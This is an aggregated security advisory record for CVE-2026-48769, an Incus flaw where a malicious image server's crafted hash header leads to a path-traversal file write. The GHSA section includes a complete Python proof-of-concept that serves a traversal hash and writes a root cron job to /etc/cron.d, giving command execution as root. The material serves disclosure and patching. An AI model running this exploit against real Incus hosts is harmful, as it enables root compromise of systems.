Incus has an arbitrary file write on its client due to trusted image hash
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cve-program · CVE-2026-48769
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.
- Source published
- 21 Aug 2026 14:38:38 UTC
- Source modified
- 5 Nov 2026 23:46:37 UTC
- Saved here
- 6 Nov 2026 01:36:41 UTC
- Source terms
- CVE Program Terms of Use
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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
euvd · EUVD-2026-63983
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.
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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Aug 21, 2026, 2:38:38 PM
dateUpdated: Nov 5, 2026, 11:46:37 PM
1 related source bulletins · separate from aliases
openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media
CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501
- Source published
- Aug 21, 2026, 2:38:38 PM (timezone not stated)
- Source modified
- Nov 5, 2026, 11:46:37 PM (timezone not stated)
- Saved here
- 15 Nov 2026 14:08:34 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvd · CVE-2026-48769
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20
Original publisher date fields
published: 2026-08-21T15:16:41.347
lastModified: 2026-11-06T01:17:49.910
- Source published
- 21 Aug 2026 15:16:41 UTC
- Source modified
- 6 Nov 2026 01:17:49 UTC
- Saved here
- 6 Nov 2026 15:03:32 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-f6m5-xw2g-xc4x
Published### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
- Source published
- 26 Jun 2026 19:13:18 UTC
- Source modified
- 6 Nov 2026 10:57:01 UTC
- Saved here
- 6 Nov 2026 11:13:14 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Publisher rating · CRITICAL
osv · GO-2026-5806
PublishedIncus has an arbitrary file write on its client due to trusted image hash in github.com/lxc/incus
- Source published
- 7 Jul 2026 16:41:46 UTC
- Source modified
- 7 Jul 2026 20:30:17 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
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Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.